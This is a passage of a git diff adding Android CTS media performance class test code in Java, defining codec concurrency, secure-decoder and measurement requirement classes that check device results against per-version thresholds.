+         * HEVC, VP9* or later) in any codec combination running concurrently at 1080p(T)
+         * resolution@30 fps.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_2_1080p() {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 6 * FPS_30_TOLERANCE)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_2, reqConcurrentFps);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-3] MUST advertise the maximum number of hardware video encoder
+         * sessions that can be run concurrently in any codec combination via the
+         * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+         * .getSupportedPerformancePoints() methods.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_3_720p(String mimeType1,
+            String mimeType2, int resolution) {
+            RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.CONCURRENT_SESSIONS)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R,
+                    getReqMinConcurrentInstances(Build.VERSION_CODES.R, mimeType1, mimeType2,
+                        resolution))
+                .addRequiredValue(Build.VERSION_CODES.S,
+                    getReqMinConcurrentInstances(Build.VERSION_CODES.S, mimeType1, mimeType2,
+                        resolution))
+                .build();
+
+            return create720p(RequirementConstants.R5_1__H_1_3, maxInstances);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-3] MUST advertise the maximum number of hardware video encoder
+         * sessions that can be run concurrently in any codec combination via the
+         * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+         * .getSupportedPerformancePoints() methods.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_3_1080p() {
+            RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.CONCURRENT_SESSIONS)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 6)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_3, maxInstances);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-4] MUST support 6 instances of hardware video encoder sessions (AVC,
+         * HEVC, VP9* or later) in any codec combination running concurrently at 720p(R,S)
+         * resolution@30 fps.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_4_720p() {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                // Requirement not asserted since encoder test runs in byte buffer mode
+                .addRequiredValue(Build.VERSION_CODES.R, 0.0)
+                .addRequiredValue(Build.VERSION_CODES.S, 0.0)
+                .build();
+
+            return create720p(RequirementConstants.R5_1__H_1_4, reqConcurrentFps);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-4] MUST support 6 instances of hardware video encoder sessions (AVC,
+         * HEVC, VP9* or later) in any codec combination running concurrently at 1080p(T)
+         * resolution@30 fps.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_4_1080p() {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                // Requirement not asserted since encoder test runs in byte buffer mode
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 0.0)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_4, reqConcurrentFps);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-5] MUST advertise the maximum number of hardware video encoder and
+         * decoder sessions that can be run concurrently in any codec combination via the
+         * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+         * .getSupportedPerformancePoints() methods.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_5_720p(String mimeType1,
+            String mimeType2, int resolution) {
+            RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.CONCURRENT_SESSIONS)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R,
+                    getReqMinConcurrentInstances(Build.VERSION_CODES.R, mimeType1, mimeType2,
+                        resolution))
+                .addRequiredValue(Build.VERSION_CODES.S,
+                    getReqMinConcurrentInstances(Build.VERSION_CODES.S, mimeType1, mimeType2,
+                        resolution))
+                .build();
+
+            return create720p(RequirementConstants.R5_1__H_1_5, maxInstances);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-5] MUST advertise the maximum number of hardware video encoder and
+         * decoder sessions that can be run concurrently in any codec combination via the
+         * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+         * .getSupportedPerformancePoints() methods.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_5_1080p() {
+            RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.CONCURRENT_SESSIONS)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 6)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_5, maxInstances);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-6] Support 6 instances of hardware video decoder and hardware video
+         * encoder sessions (AVC, HEVC, VP9 or AV1) in any codec combination running concurrently
+         * at 720p(R,S) /1080p(T) @30fps resolution.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_6_720p(String mimeType1,
+            String mimeType2, int resolution) {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                // Test transcoding, fps calculated for encoder and decoder combined so req / 2
+                .addRequiredValue(Build.VERSION_CODES.R,
+                    getReqMinConcurrentFps(Build.VERSION_CODES.R, mimeType1, mimeType2, resolution)
+                        / 2)
+                .addRequiredValue(Build.VERSION_CODES.S,
+                    getReqMinConcurrentFps(Build.VERSION_CODES.S, mimeType1, mimeType2, resolution)
+                        / 2)
+                .build();
+
+            return create720p(RequirementConstants.R5_1__H_1_6, reqConcurrentFps);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-6] Support 6 instances of hardware video decoder and hardware video
+         * encoder sessions (AVC, HEVC, VP9 or AV1) in any codec combination running concurrently
+         * at 720p(R,S) /1080p(T) @30fps resolution.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_6_1080p() {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                // Test transcoding, fps calculated for encoder and decoder combined so req / 2
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 6 * FPS_30_TOLERANCE / 2)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_6, reqConcurrentFps);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-9] Support 2 instances of secure hardware video decoder sessions
+         * (AVC, HEVC, VP9 or AV1) in any codec combination running concurrently at 1080p
+         * resolution@30fps.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_9() {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 2 * FPS_30_TOLERANCE)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_9, reqConcurrentFps);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-10] Support 3 instances of non-secure hardware video decoder sessions
+         * together with 1 instance of secure hardware video decoder session (4 instances total)
+         * (AVC, HEVC, VP9 or AV1) in any codec combination running concurrently at 1080p
+         * resolution@30fps.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_10() {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 4 * FPS_30_TOLERANCE)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_10, reqConcurrentFps);
+        }
+    }
+
+    // used for requirements [2.2.7.1/5.1/H-1-11], [2.2.7.1/5.7/H-1-2]
+    public static class SecureCodecRequirement extends Requirement {
+        private static final String TAG = SecureCodecRequirement.class.getSimpleName();
+
+        private SecureCodecRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setSecureReqSatisfied(boolean secureReqSatisfied) {
+            this.setMeasuredValue(RequirementConstants.SECURE_REQ_SATISFIED, secureReqSatisfied);
+        }
+
+        public void setNumCryptoHwSecureAllDec(int numCryptoHwSecureAllDec) {
+            this.setMeasuredValue(RequirementConstants.NUM_CRYPTO_HW_SECURE_ALL_SUPPORT,
+                numCryptoHwSecureAllDec);
+        }
+
+        /**
+         * [2.2.7.1/5.7/H-1-2] MUST support MediaDrm.SECURITY_LEVEL_HW_SECURE_ALL with the below
+         * content decryption capabilities.
+         */
+        public static SecureCodecRequirement createR5_7__H_1_2() {
+            RequiredMeasurement<Integer> hw_secure_all = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.NUM_CRYPTO_HW_SECURE_ALL_SUPPORT)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1)
+                .build();
+
+            return new SecureCodecRequirement(RequirementConstants.R5_7__H_1_2, hw_secure_all);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-11] Must support secure decoder when a corresponding AVC/VP9/HEVC or AV1
+         * hardware decoder is available
+         */
+        public static SecureCodecRequirement createR5_1__H_1_11() {
+            RequiredMeasurement<Boolean> requirement = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.SECURE_REQ_SATISFIED)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+
+            return new SecureCodecRequirement(RequirementConstants.R5_1__H_1_11, requirement);
+        }
+    }
+
+    private <R extends Requirement> R addRequirement(R req) {
+        if (!this.mRequirements.add(req)) {
+            throw new IllegalStateException("Requirement " + req.id() + " already added");
+        }
+        return req;
+    }
+
+    public ResolutionRequirement addR7_1_1_1__H_1_1() {
+        return this.<ResolutionRequirement>addRequirement(
+            ResolutionRequirement.createR7_1_1_1__H_1_1());
+    }
+
+    public DensityRequirement addR7_1_1_3__H_1_1() {
+        return this.<DensityRequirement>addRequirement(DensityRequirement.createR7_1_1_3__H_1_1());
+    }
+
+    public MemoryRequirement addR7_6_1__H_1_1() {
+        return this.<MemoryRequirement>addRequirement(MemoryRequirement.createR7_6_1__H_1_1());
+    }
+
+    public ResolutionRequirement addR7_1_1_1__H_2_1() {
+        return this.<ResolutionRequirement>addRequirement(
+            ResolutionRequirement.createR7_1_1_1__H_2_1());
+    }
+
+    public DensityRequirement addR7_1_1_3__H_2_1() {
+        return this.<DensityRequirement>addRequirement(DensityRequirement.createR7_1_1_3__H_2_1());
+    }
+
+    public MemoryRequirement addR7_6_1__H_2_1() {
+        return this.<MemoryRequirement>addRequirement(MemoryRequirement.createR7_6_1__H_2_1());
+    }
+
+    public FileSystemRequirement addR8_2__H_1_1() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_1_1());
+    }
+
+    public FileSystemRequirement addR8_2__H_2_1() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_2_1());
+    }
+
+    public FileSystemRequirement addR8_2__H_1_2() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_1_2());
+    }
+
+    public FileSystemRequirement addR8_2__H_2_2() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_2_2());
+    }
+
+    public FileSystemRequirement addR8_2__H_1_3() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_1_3());
+    }
+
+    public FileSystemRequirement addR8_2__H_2_3() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_2_3());
+    }
+
+    public FileSystemRequirement addR8_2__H_1_4() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_1_4());
+    }
+
+    public FileSystemRequirement addR8_2__H_2_4() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_2_4());
+    }
+
+    public FrameDropRequirement addR5_3__H_1_1_R() {
+        return this.addRequirement(FrameDropRequirement.createR5_3__H_1_1_R());
+    }
+
+    public FrameDropRequirement addR5_3__H_1_2_R() {
+        return this.addRequirement(FrameDropRequirement.createR5_3__H_1_2_R());
+    }
+
+    public FrameDropRequirement addR5_3__H_1_1_ST() {
+        return this.addRequirement(FrameDropRequirement.createR5_3__H_1_1_ST());
+    }
+
+    public FrameDropRequirement addR5_3__H_1_2_ST() {
+        return this.addRequirement(FrameDropRequirement.createR5_3__H_1_2_ST());
+    }
+
+    public CodecInitLatencyRequirement addR5_1__H_1_7() {
+        return this.addRequirement(CodecInitLatencyRequirement.createR5_1__H_1_7());
+    }
+
+    public CodecInitLatencyRequirement addR5_1__H_1_8() {
+        return this.addRequirement(CodecInitLatencyRequirement.createR5_1__H_1_8());
+    }
+
+    public CodecInitLatencyRequirement addR5_1__H_1_12() {
+        return this.addRequirement(CodecInitLatencyRequirement.createR5_1__H_1_12());
+    }
+
+    public CodecInitLatencyRequirement addR5_1__H_1_13() {
+        return this.addRequirement(CodecInitLatencyRequirement.createR5_1__H_1_13());
+    }
+
+    public VideoCodecRequirement addR4k60HwEncoder() {
+        return this.addRequirement(VideoCodecRequirement.createR4k60HwEncoder());
+    }
+
+    public VideoCodecRequirement addR4k60HwDecoder() {
+        return this.addRequirement(VideoCodecRequirement.createR4k60HwDecoder());
+    }
+
+    public VideoCodecRequirement addRAV1DecoderReq() {
+        return this.addRequirement(VideoCodecRequirement.createRAV1DecoderReq());
+    }
+
+    public SecureCodecRequirement addR5_1__H_1_11() {
+        return this.addRequirement(SecureCodecRequirement.createR5_1__H_1_11());
+    }
+
+    public SecureCodecRequirement addR5_7__H_1_2() {
+        return this.addRequirement(SecureCodecRequirement.createR5_7__H_1_2());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_1_720p(String mimeType1, String mimeType2,
+        int resolution) {
+        return this.addRequirement(
+            ConcurrentCodecRequirement.createR5_1__H_1_1_720p(mimeType1, mimeType2, resolution));
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_1_1080p() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_1_1080p());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_2_720p(String mimeType1, String mimeType2,
+        int resolution) {
+        return this.addRequirement(
+            ConcurrentCodecRequirement.createR5_1__H_1_2_720p(mimeType1, mimeType2, resolution));
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_2_1080p() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_2_1080p());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_3_720p(String mimeType1, String mimeType2,
+        int resolution) {
+        return this.addRequirement(
+            ConcurrentCodecRequirement.createR5_1__H_1_3_720p(mimeType1, mimeType2, resolution));
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_3_1080p() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_3_1080p());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_4_720p() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_4_720p());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_4_1080p() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_4_1080p());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_5_720p(String mimeType1, String mimeType2,
+        int resolution) {
+        return this.addRequirement(
+            ConcurrentCodecRequirement.createR5_1__H_1_5_720p(mimeType1, mimeType2, resolution));
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_5_1080p() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_5_1080p());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_6_720p(String mimeType1, String mimeType2,
+        int resolution) {
+        return this.addRequirement(
+            ConcurrentCodecRequirement.createR5_1__H_1_6_720p(mimeType1, mimeType2, resolution));
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_6_1080p() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_6_1080p());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_9() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_9());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_10() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_10());
+    }
+
+    public void submitAndCheck() {
+        boolean perfClassMet = true;
+        for (Requirement req: this.mRequirements) {
+            perfClassMet &= req.writeLogAndCheck(this.mTestName);
+        }
+
+        // check performance class
+        assumeTrue("Build.VERSION.MEDIA_PERFORMANCE_CLASS is not declared", Utils.isPerfClass());
+        assertThat(perfClassMet).isTrue();
+
+        this.mRequirements.clear(); // makes sure report isn't submitted twice
+    }
+}
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java b/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java
new file mode 100644
index 0000000..f89cb28
--- /dev/null
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts.common;
+
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.google.auto.value.AutoValue;
+import com.google.common.collect.ImmutableMap;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.function.BiPredicate;
+
+/**
+ * A specific measurement for a Performance Class requirement.
+ */
+@AutoValue
+public abstract class RequiredMeasurement<T> {
+    private static final String TAG = RequiredMeasurement.class.getSimpleName();
+
+    private T measuredValue;  // Note this is not part of the equals calculations
+    private boolean measuredValueSet = false;
+
+    public static <T> Builder<T> builder() {
+        return new AutoValue_RequiredMeasurement.Builder<T>();
+    }
+
+    public abstract String id();
+
+    /**
+     * Tests if the measured value satisfies the  expected value(eg >=)
+     * measuredValue, expectedValue
+     */
+    public abstract BiPredicate<T, T> predicate();
+
+    /**
+     * Maps MPC level to the expected value.
+     */
+    public abstract ImmutableMap<Integer, T> expectedValues();
+
+    public void setMeasuredValue(T measuredValue) {
+        this.measuredValueSet = true;
+        this.measuredValue = measuredValue;
+    }
+
+    @AutoValue.Builder
+    public static abstract class Builder<T> {
+
+        public abstract Builder<T> setId(String id);
+
+        public abstract Builder<T> setPredicate(BiPredicate<T, T> predicate);
+
+        public abstract ImmutableMap.Builder<Integer, T> expectedValuesBuilder();
+
+        public Builder<T> addRequiredValue(Integer performanceClass, T expectedValue) {
+            this.expectedValuesBuilder().put(performanceClass, expectedValue);
+            return this;
+        }
+
+        public abstract RequiredMeasurement<T> build();
+    }
+
+    public final RequirementConstants.Result meetsPerformanceClass(int mediaPerformanceClass)
+            throws IllegalStateException {
+
+        if (!this.measuredValueSet) {
+            throw new IllegalStateException("measured value not set for required measurement "
+                + this.id());
+        }
+
+        if (!this.expectedValues().containsKey(mediaPerformanceClass)) {
+            return RequirementConstants.Result.NA;
+        } else if (this.measuredValue == null || !this.predicate().test(this.measuredValue,
+                this.expectedValues().get(mediaPerformanceClass))) {
+            return RequirementConstants.Result.UNMET;
+        } else {
+            return RequirementConstants.Result.MET;
+        }
+    }
+
+    /**
+     * @return map PerfomenaceClass to result if that performance class has been met
+     */
+    public Map<Integer, RequirementConstants.Result> getPerformanceClass() {
+        Map<Integer, RequirementConstants.Result> perfClassResults = new HashMap<>();
+        for (Integer pc: this.expectedValues().keySet()) {
+            perfClassResults.put(pc, this.meetsPerformanceClass(pc));
+        }
+        return perfClassResults;
+    }
+
+    @Override
+    public final String toString() {
+        return "Required Measurement with:"
+            + "\n\tId: " + this.id()
+            + "\n\tPredicate: " + this.predicate()
+            + "\n\tMeasured Value: " + this.measuredValue
+            + "\n\tExpected Values: " + this.expectedValues();
+    }
+
+    public void writeValue(DeviceReportLog log) throws IllegalStateException {
+
+        if (!this.measuredValueSet) {
+            throw new IllegalStateException("measured value not set for required measurement "
+                + this.id());
+        }
+
+        if (this.measuredValue == null) {
+            log.addValue(this.id(), "<nullptr>", ResultType.NEUTRAL, ResultUnit.NONE);
+        } else if (this.measuredValue instanceof Integer) {
+            log.addValue(this.id(), (int)this.measuredValue, ResultType.NEUTRAL, ResultUnit.NONE);
+        } else if (this.measuredValue instanceof Long) {
+            log.addValue(this.id(), (long)this.measuredValue, ResultType.NEUTRAL, ResultUnit.NONE);
+        } else if (this.measuredValue instanceof Double) {
+            log.addValue(this.id(), (double)this.measuredValue, ResultType.NEUTRAL,
+                ResultUnit.NONE);
+        } else if (this.measuredValue instanceof Boolean) {
+            log.addValue(this.id(), (boolean)this.measuredValue, ResultType.NEUTRAL,
+                ResultUnit.NONE);
+        } else if (this.measuredValue instanceof String) {
+            log.addValue(this.id(), (String)this.measuredValue, ResultType.NEUTRAL,
+                ResultUnit.NONE);
+        } else {
+            // reporting all other types as Strings using toString()
+            log.addValue(this.id(), this.measuredValue.toString(), ResultType.NEUTRAL,
+                ResultUnit.NONE);
+        }
+    }
+}
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java b/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java
new file mode 100644
index 0000000..445c5c6
--- /dev/null
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts.common;
+
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.collect.ImmutableMap;
+
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Performance Class Requirement maps and req id to a set of {@link RequiredMeasurement}.
+ */
+public abstract class Requirement {
+    private static final String TAG = Requirement.class.getSimpleName();
+
+    protected final ImmutableMap<String, RequiredMeasurement<?>> mRequiredMeasurements;
+    protected final String id;
+
+    protected Requirement(String id, RequiredMeasurement<?>[] reqs) {
+        this.id = id;
+
+        ImmutableMap.Builder<String, RequiredMeasurement<?>> reqBuilder =
+            ImmutableMap.<String, RequiredMeasurement<?>>builder();
+        for (RequiredMeasurement<?> r: reqs) {
+            reqBuilder.put(r.id(), r);
+        }
+        this.mRequiredMeasurements = reqBuilder.build();
+    }
+
+    public String id() {
+        return this.id;
+    }
+
+    /**
+     * Finds the highest performance class where at least one RequiremdMeasurement has result
+     * RequirementConstants.Result.MET and none have RequirementConstants.Result.UNMET
+     */
+    @VisibleForTesting
+    protected int computePerformanceClass() {
+        Map<Integer, RequirementConstants.Result> overallPerfClassResults = new HashMap<>();
+
+        for (RequiredMeasurement<?> rm: this.mRequiredMeasurements.values()) {
+            Map<Integer, RequirementConstants.Result> perfClassResults = rm.getPerformanceClass();
+
+            for (Integer pc: perfClassResults.keySet()) {
+                RequirementConstants.Result res = perfClassResults.get(pc);
+
+                // if one or more results are UNMET, mark the performance class as UNMET
+                // otherwise if at least 1 of the results is MET, mark the performance class as MET
+                if (res == RequirementConstants.Result.UNMET) {
+                    overallPerfClassResults.put(pc, RequirementConstants.Result.UNMET);
+                } else if (!overallPerfClassResults.containsKey(pc) &&
+                        res == RequirementConstants.Result.MET) {
+                    overallPerfClassResults.put(pc, RequirementConstants.Result.MET);
+                }
+            }
+        }
+
+        // report the highest performance class that has been MET
+        int perfClass = 0;
+        for (int pc: overallPerfClassResults.keySet()) {
+            if (overallPerfClassResults.get(pc) == RequirementConstants.Result.MET) {
+                perfClass = Math.max(perfClass, pc);
+            }
+        }
+        return perfClass;
+    }
+
+    @VisibleForTesting
+    protected boolean checkPerformanceClass(int devicePerfClass) {
+        boolean noResultsUnment = true;
+        for (RequiredMeasurement<?> rm: this.mRequiredMeasurements.values()) {
+            RequirementConstants.Result res = rm.meetsPerformanceClass(devicePerfClass);
+            if (res == RequirementConstants.Result.UNMET) {
+                Log.w(Requirement.TAG, rm.toString());
+                noResultsUnment = false;
+            } else {
+                Log.i(Requirement.TAG, rm.toString());
+            }
+        }
+        return noResultsUnment;
+    }
+
+    protected <T> void setMeasuredValue(String measurement, T measuredValue) {
+        RequiredMeasurement<T> rm =
+            (RequiredMeasurement<T>)this.mRequiredMeasurements.get(measurement);
+        rm.setMeasuredValue(measuredValue);
+    }
+
+    /**
+     * @return whether or not the requirement meets the device's specified performance class
+     */
+    public boolean writeLogAndCheck(String testName) {
+        if (this.id == RequirementConstants.RTBD) {
+            // skip upload on any requirement without a specified id
+            Log.i(this.TAG, testName + "has requirement without set requirement id and test " +
+                "results were not uploaded");
+            return this.checkPerformanceClass(Utils.getPerfClass());
+        }
+
+        int perfClass = this.computePerformanceClass();
+
+        DeviceReportLog log = new DeviceReportLog(RequirementConstants.REPORT_LOG_NAME, this.id);
+        log.addValue(RequirementConstants.TN_FIELD_NAME, testName, ResultType.NEUTRAL,
+            ResultUnit.NONE);
+        for (RequiredMeasurement rm: this.mRequiredMeasurements.values()) {
+            rm.writeValue(log);
+        }
+        log.addValue(RequirementConstants.PC_FIELD_NAME, perfClass, ResultType.NEUTRAL,
+            ResultUnit.NONE);
+        log.submit(InstrumentationRegistry.getInstrumentation());
+
+        return this.checkPerformanceClass(Utils.getPerfClass());
+    }
+}
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
new file mode 100644
index 0000000..3cd0ee1
--- /dev/null
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
@@ -0,0 +1,162 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the Licnse.
+ */
+
+package android.mediapc.cts.common;
+
+import android.os.Build;
+
+import java.util.function.BiPredicate;
+
+public class RequirementConstants {
+    private static final String TAG = RequirementConstants.class.getSimpleName();
+
+    public static final String REPORT_LOG_NAME = "CtsMediaPerformanceClassTestCases";
+    public static final String TN_FIELD_NAME = "test_name";
+    public static final String PC_FIELD_NAME = "performance_class";
+
+    public static final String R5_1__H_1_1 = "r5_1__h_1_1"; // 5.1/H-1-1
+    public static final String R5_1__H_1_2 = "r5_1__h_1_2"; // 5.1/H-1-2
+    public static final String R5_1__H_1_3 = "r5_1__h_1_3"; // 5.1/H-1-3
+    public static final String R5_1__H_1_4 = "r5_1__h_1_4"; // 5.1/H-1-4
+    public static final String R5_1__H_1_5 = "r5_1__h_1_5"; // 5.1/H-1-5
+    public static final String R5_1__H_1_6 = "r5_1__h_1_6"; // 5.1/H-1-6
+    public static final String R5_1__H_1_7 = "r5_1__h_1_7"; // 5.1/H-1-7
+    public static final String R5_1__H_1_8 = "r5_1__h_1_8"; // 5.1/H-1-8
+    public static final String R5_1__H_1_9 = "r5_1__h_1_9"; // 5.1/H-1-9
+    public static final String R5_1__H_1_10 = "r5_1__h_1_10"; // 5.1/H-1-10
+    public static final String R5_1__H_1_11 = "r5_1__h_1_11"; // 5.1/H-1-11
+    public static final String R5_1__H_1_12 = "r5_1__h_1_12"; // 5.1/H-1-12
+    public static final String R5_1__H_1_13 = "r5_1__h_1_13"; // 5.1/H-1-13
+    public static final String R5_1__H_1_14 = "r5_1__h_1_14"; // 5.1/H-1-14
+    public static final String R5_1__H_1_15 = "r5_1__h_1_15"; // 5.1/H-1-16
+    public static final String R5_1__H_1_16 = "r5_1__h_1_16"; // 5.1/H-1-16
+    public static final String R5_3__H_1_1 = "r5_3__h_1_1"; // 5.3/H-1-1
+    public static final String R5_3__H_1_2 = "r5_3__h_1_2"; // 5.3/H-1-2
